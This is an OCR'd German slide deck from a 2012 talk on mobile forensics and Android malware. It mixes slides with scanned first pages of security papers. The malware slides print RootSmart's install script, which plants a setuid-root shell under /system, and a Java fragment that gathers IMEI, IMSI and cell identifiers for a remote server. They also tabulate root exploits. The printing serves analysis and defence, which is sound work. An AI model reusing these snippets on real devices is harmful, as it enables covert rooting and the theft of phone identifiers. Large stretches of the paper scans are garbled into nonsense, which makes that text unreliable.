FRIEDRICH-ALEXANDER
UNIVERSITAT _
ERLANGEN-NURNBERG

Neueste Entwicklungen im Bereich
der Mobilfunkforensik

Felix Freiling

Anwendertag IT-Forensik, Darmstadt, 18.9.2012



Dissecting A ndroid Mal ware: Characterization and Evolution

Yoym Moe

Deparsment of Compaser Schence
Nortk Caxlima Stave Undversiiy

Naf b o Gn s, oot

Nuvun Jumg
Deparsmens of Compurer Sclemce
Norsk Carolima Sxare University
Mg @ 1. o et

2011 IEEE Sympasium on Security and Privacy

Mobile Security Catching Up?
Revealing the Nuts and Bolts of the Security of Mobile Devices

Midhael Bechar, Febx C. Freding  Jobanoes Hoffmana, Thorten Holz, Scbation Udlenbock, Chnsy

Unbersity of Mannhebw, Germany

Absirar —We are ¢ wrren @y s viog Mo U Iddﬁlnﬂy
5 2 mmbile sochety where moore and

Horst Garez Insitue (HGI)

Ruhr- Unbve rsiey Bocham, Germany

Tabie |
Gromar Sanis FICOme s anD MARKE T Siask

s G by previsendy damd plwees For evample, e e mber
of il phouss b 4 (68 Mo 05 B e b0 s by
from QNNO% (o (IV20M. As o resell, mobile socurity
bosger immancat, but bmperative. This san ey paper
ey ko com e oven iew of mabdle s twerk soorin. @lick
vertars wieg B back cnd ptem and the web browser, bat
abo G burdware liyor and the wwr os @tk ebler. We

Sws s pow T

s e 04

0N
08 umedik share (%]

Symban  1R314 448
Andamd A4 is
w0s

244 %
sherw Eorce o and hmlaritho. bt wor s “wormal” oo ity Tl P wu?
el mrbile s curily, amd & an comdunbian Sor fartler rocanch Window 1290 29
opprteniSe s Bk arc. L L9IE 4

. . N Ouhurs 2 LS
securty: - Tad  alan oo
L INTRODU CTION
The beginning of the smumphooe ¢ can h:icnnk-
gioning with the new milk Since then, d d Besds e

“smart” devices like BlackBerries, iPhoces and, n‘zal);
Androad-bused phones have bocn marodeced the rovole-
Gonized the maket At e same Gme, many artcles abost
smarphorne secunty and the poeccgial of mabcioes software
oo them were pebliied (18] Quite ofien, sadics had
smtemenss similar to ghe follwing gucte by Garwer which
estimatad “th by the end of X007, encagh factors will have
come together gt e rsk of mobdke wucks will be much
graawee Those ficoons indhade less hetesog encity in oparatiog
systems, mife perewraton of smanphons and a grawr in.
cadence of poople acsmlly acceperg downbads and seodieg
executibles w0 ooe another oo mobile devices™ [9). However,
wp W sow the expected plabors of guds hn act been
observal

Many rocaschers and prauoocers & eypeang 4 major
secanty exadent with mobilk phoces eversince thewe devices
e g 00 become more powerful wigh inrenad pusng
power and memory, dd.
of g mobale phoee aetworks, and with open and thard-party
evamsible operating systems, phoes become an deresting
uga for xuders. However, oo major mcidens has hap-
peoad as of the Gme of dis watg.

The reascoes for ghis are wechur However, cauin ichemot
aspecs seem b ke a postine effeat on secusty, ooe of
them boing the hewrogenaty of mobdk operating s ysacos
Corrary o0 the profiain geoeed above, heterogeneity of
mobike openting syems has acqwlly Inoeasd macad of

1081601 111 $ 2500 © 311 EEE
DO IR ONSP2011 29

P g systems W

and Symbim O, the mobile workd has seeq]
the ifbone’s 108 and the Lins-busad And
system dunng the last fow years. Despase of ¢
both operging systems alrady gamed their m
they are pediaed to oven Exrase & i e
prvides an ovenview of global sakes figurn

Alstrar— The popaiar ity and adopion of st phess ke
Frvly stimsld ol G spresd of swobis miliwary, epoaily
B papalar platfor mes such as Amdrosl. In light of Uhir raped
wrowik, Sere i o prosing sod 0 dewlop ¢ Bolive soleons.
Hower e, our defeme capublity s lingedy comirdmed by S
mastod wedore ameang of (o v Str oy Sl mhlvare el
B lack of timly acoss (o rabod sompl s

In this puper, we Sxes on Gw Asdrosd pldSorm asd
e iy of Mol i ouintng Amdr oed i are.
ParScslarly, with more Sus o yowr oort, we bu v s pd
B oot mare (o 1200 mdware samples (hal cover B
majarity of cieSeg Androsd medware Gimsdics, rosging from
air debat i Auged 200 (o reoond omes i Oktaber 200L
Ia addiom, we sysiemedicdly churacterior S from varme
wpts, imcleding S et mtbob, ativaion mah-
e as wiell as (e mabere of carriod sxdiches puy buds
T chewr actoricaton amd o rebeogest ¢ osbradosd Judy
of reprewstifive Dumdie reveal Gl (hwey ure o oy img rapadly
B crousosl B delodtim Mrm cuntey sdde anl-vire
sftware. Dasd on (e ¢iimiton vl Smr rpnoostdie
bl e writy ofl ware, oer oporisss st Sow (ke (e et
caw detacts P45 of thom whie B word cae delacts ondy
2% --numlm“amy call for B mood to

Rt

The goak md comsrbetces of ts papo am do-
fold Hez, we falfil the meed by pecscatmg the fing large

collectoa of 1200 Andwad
malware famdbes, which
Asdroad mabware, regeg
0 moeat cacs s Oadber
from moer than cac yere
smples, inchading mua
a vasay of Androad Mal
malwar dweats, we will
mscarch commuaiy at hay
Secomd, bued g
porfoen a teme e analyse)
duncarue tem bused
down, inchading the iostl
The omclee anayss &
cuthecaks of conum Ande)
detaied beeukdonn and cy
malwar s belplal o bead
sl defamses

Iuiter duwlap
B oo - Amlirvid msalware ;s rplems soceri y

L INYRODUCTION

o recem years there i an cvplosive growth | s rphose
sl amd adopoca. Acooedmg w0 ONN (1} ssurgpboss
shipmeass have mplad @ the pust theee yaus (from 40
mallioe 0 aboet 120 milkca) Usfornmanely, the moreasing
adopace of smargphoscs comes wigh the growing provalosce
of mobdle mulware. A the most popueler mobdke plithem,
Google's Androad ovarsook odhens (e.2- Sy

Speafically, = cur 1204
1003 of them (or M6 )
e apphcaticas with m
e ol g soed of daecy)
urrent Asdroad Markess.
Asdroad mubwase fama ey
dave by dowaloads w nif
and difficel ©o desce P
pylads, we aotce 3 o
Arcuad cec thisd (36.7K)

= TECHNISCHE
l FAKULTAT

Department Informatik
Technical Reports / ISSN 2191-5008

e wp mobdke malwar pleform. k has beon highl gheod
2] dhat “amoeg all mobde suleare, e shre of Asdeid-
bused saeare s Bagher s 46% and sl goow g rapadi”
Asceher rocont repoat also alests that e & 400 porcont
Ercae B Androadbased mal ware sece semmer 2010° (31
Cavea the rampune growth of Andecdd mabsare, there & a
peessing moed 0 effecanvely mingate of defond agamst them,
H withoot an < deg of hem, & &
hard o agme tat @ offoctive mt gt e soloa ¢ be
packuly dwbped To mulke muses worse, e escanh
communy at hige & osall cesramod by g ok of a
comprehonsive mobake mabwar dgise (o sert wh,

Ivenge potkwel exph
SOCUrEy, possg &*ﬂ
amd pavacy: (2) Moee o
phoscs B0 o botsa oo
s sages. (1) Amoag the
wigh 571 o L&.l'.l g

T s saady we comidder v
At

1 prevent cur dutaet froem
e ity o ropaet neces
dhrardosadol Mo v the pog

share e mobdke opemting systems and the TR T
Andmid is clearly visible. Seand, & might simply be the
case the mobile opersting systems are sufficetly scoum
todiy & voiced by Boctchev [10). Hence, this might be
anceher reason why oo major securgy incidest has happered
weal owe Thied, des may be addisocal facors sach
as the difforect cetwork sopologies: for the Intarmet, & is
narly endsoend, whik sroogly heerarchical for mobike
neworks. Lag bt oot ket gew & ako the effea of
the “self.defeating prophecy™ of mobile security: Having
the twag cxampk of deskoop inscourry, phs plasible
agack secans, e chims of mobike esocarty might have
ngpemd mobike secumty. Overall, the reaoes for the noo-
exntence of major securgy madets for mobde phooes ax
sl wnchar wp 00 oowe

However, we recenly sow dhe fist real amacks agaiost
smagphocess In Mach 2000, lozao and Wanmans demoo-
strtad a driveby downkad atick agaieat an Phoce 1GS
the cnablod an amacker to swcal the SMS deduse fiom
the phoce [12]. la November 2010, ooe of he find pablc
exploms to porform an amick agawst the mobike bewsar

deomper

Michael Spreitzenbarth and Felix Freiling
Android Malware on the Rise
Technical Report CS-2012-04

April 2012

Praus e ase
rAchig Fate Fradng A A

Somnos Tahned Rapars, CS20 1204, Apn 2012

5 Unrr sy of Enangan, Dupt of Computer

Friedrich-Alexander-Universitat
Erdangen-Niirnberg

OspartrantinBamath
M wrsr. 3-91058 Enungen - Qarmany

o i < g, 4




Mobilfunkforensik

o Aquise/Extraktion digitaler Spuren
« per Software (z.B. Panoptes)
. per Debug-Schnittstelle (z.B. JTAG, ADB)
« Auslesen des Speicherchips (z.B. PC3000 flash)

o Analyse digitaler Spuren

« Wo finden sich interessante Daten? (Anwendungsdaten,
Dateisystem, RAM)

« Was bedeuten diese Daten? (z.B. SQLite)
. Was macht bestimmte Software? (z.B. bosartige Apps)
. Werkzeugunterstutzung (z.B. ADEL)

o Fokus auf Android als zur Zeit popularste Plattform
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Figure 4: Movement profile generated from data stored on smartphone 3.
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Android.Bmaster/RootSmart

Erschienen Januar 2012 in China
Benutzt Gingerbread-Exploit zur Privilegeskalation
Exploit wird zur Laufzeit nachgeladen

Installation neuer Funktionalitat ohne Rlckfrage
durch den Benutzer moglich

Sendet vertrauliche Informationen an entfernten
Server

Server kann Smartphone fernsteuern,
beispielsweise weitere Apps installieren



[Spreitzenbarth, Freiling, 2012]

#!/data/data/com. google.android.smart/files/sh
mount —0 remount system /system

mkdir /system/xbin/smart

chown S$1 /system/xbin/smart

chmod 700 /system/xbin/smart

cat /system/bin/sh > /system/xbin/smart/sh
chown 0.0 /system/xbin/smart/sh

chmod 4755 /system/xbin/smart/sh

sync

mount —0 remount,ro system /system

Listing 2. The content of the install file.

public final String b(){
StringBuilder localStringBuilder = new StringBuilder ()

localStringBuilder .append (w.a("IMEI”, this.c.getString ("IMEI”, ™

)):
localStringBuilder .append(w.a("IMSI”, this.c.getString ("IMSI™,
)):

")

"y

localStringBuilder.append(w.a("TYPE\_TEL"”, this.c. getString ("TYPE\

_TEL™, "7))):
localStringBuilder.append (w.a( "VERSION\_TEL"”, this.c.getString (™
VERSION\_TEL", ""))):

localStringBuilder .append(w.a("CID”, this.c.getString ("CID™, 77)))

*

localStringBuilder.append(w.a("LAC”, this.c.getString ("LAC™, "7)))

localStringBuilder.append(w.a("™NC", this.c.getString ("MNC", "7)))

String strl = this.c.getString ("SMS\_CENTER"”, null):

if (strl != null)
localStringBuilder .append (w.a( "SMS\_CENTER", strl)):

String str2 = this.c.getString ("INSTALL\_TYPE”, null):

if (<tr?2 '= null)




Android.FakeRegSMS

Erschienen Ende 2011

Sendet kostenpflichtige Premium-SMS (smscoin)
an App-Autor

Versteckt wichtige Daten (z.B. SMS-Rufnummer)
per Steganographie im App-Logo

Enthalt einen Button “Rules”, in dem lber das
schadhafte Verhalten informiert wird
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Gefahrlichkeit

Table IV
THE LIST OF PLATFORM-LEVEL ROOT EXPLOITS AND THEIR USES IN
EXISTING ANDROID MALWARE

Vulnerable Root Release i :
Program Exploit Date Malware with the Exploit
Linux kernel Asroot [23] 2009/08/16 Asroot
1nit : DroidDream, zHash
(<= 2.9) Exploid [24] 2010/07/15 DroidKungFu[1235]
DroidDream, BaseBridge
adbd (<= 2.2.1) RATC [25] 2010/08/21 DroidKungFu[1235]
zygote(<= 2.2.1) Zimperlich [26] 2011/02/24 DroidDeluxe
DroidCoupon
ashmem KillingInThe
(<= 2.2.1) NameOf [27] 2011/01/00 )
vold : .
(<= 2.3.3) GingerBreak [28] 2011/04/21 GingerMaster
libsysutils
(<= 2.3.6) zergRush [29] 2011/10/10 -

[Zhou and Jiang, 2012]
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[Zhou and Jiang, 2012]

- Privikge Escalstion Remok Contral ';—@ mancial Ch Persomal Information Stealing
. . AICY Can . . ock Phone User
Exploid | 4 erlich Bray | Awoot | Encry NET | S| LTINS TG0 | SMS | ke | Accout
ADRD v
AmerverBot Vv VA
Asrool v
BaseBridge v v v | V! v
B eanBat v v Vv v v
BgServ v A v v
CoinPirake v VA v v
Crusewin v v v v
Dog“"s v‘r
DroadCoupon
DroidDeluxe \v/,' -
DroxdDream 4 vy 7
Droad Dreaml_ight v 4
DroxKunghul V4 4 4 v vy
DroxdKunghu2 v v v v v
Droxd Kunghus v v v v v
DroxdKunghud v
| DroadRunghs v v v v v
Droxd Kungh ulpdste
Endolday V. v v
FakeNeuhx v
FakePlayer v !
i v
Geinimi v v A v v v
GG Tracker VA N v Vi
GmperMakr v v v
GoldDream N v VA Vv v
Ganebl) ¥4
GPSSMSS py v
HippoSMS A v
hilake VA
SMSHider v A v v
KMin v WA v
Lovetrap A v
NickyBot v v v
Nakyspy v v v
Pppps v VA v N
Plankion v
Rogueleman v VA v v
RogueSPPush VA
Toatar i v 4
SadApps Y
Spitmo v A v v v
BpSnake
Walkinwat Vv
YZHC v VA v v
zHash v
Ziumo v
Zsane R WA Vv
number of Jamikes [ 5 7 7 ix 7 r] 17 3 3 3
mumber of samples I O ] 5 B3 ( ug?ll 7 2 ‘sﬁ?jm'rs——m 363 3




Zusammenfassung

Smartphones sind lukratives Angriffsziel

Forensische Datenextraktion z.T. erschwert durch
Hardwaremechanismen

. Trend zu offenen Bootloadern (jedenfalls bei
Android) hilft bei der Extraktion

Android-Schadsoftware verfolgt denselben

Entwicklunsgweg wie Windows-Schadsoftware, nur
schneller

Neue Werkzeuge helfen bei der Analyse

Problem: Unzureichende Sicherheitssysteme und
schlechtes Sicherheitsbewusstsein
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Abstract

e Neueste Entwicklungen im Bereich der
Mobilfunkforensik

« Wir geben einen Uberblick tiber aktuelle
Forschungsarbeiten im Bereich der
Mobilfunkforensik. Schwerpunkte sind die
Untersuchung von Schadsoftware auf
Smartphones sowie die Beweismittelsicherung
mobiler Endgerate. Der Fokus liegt dabei auf
Android-Systemen.
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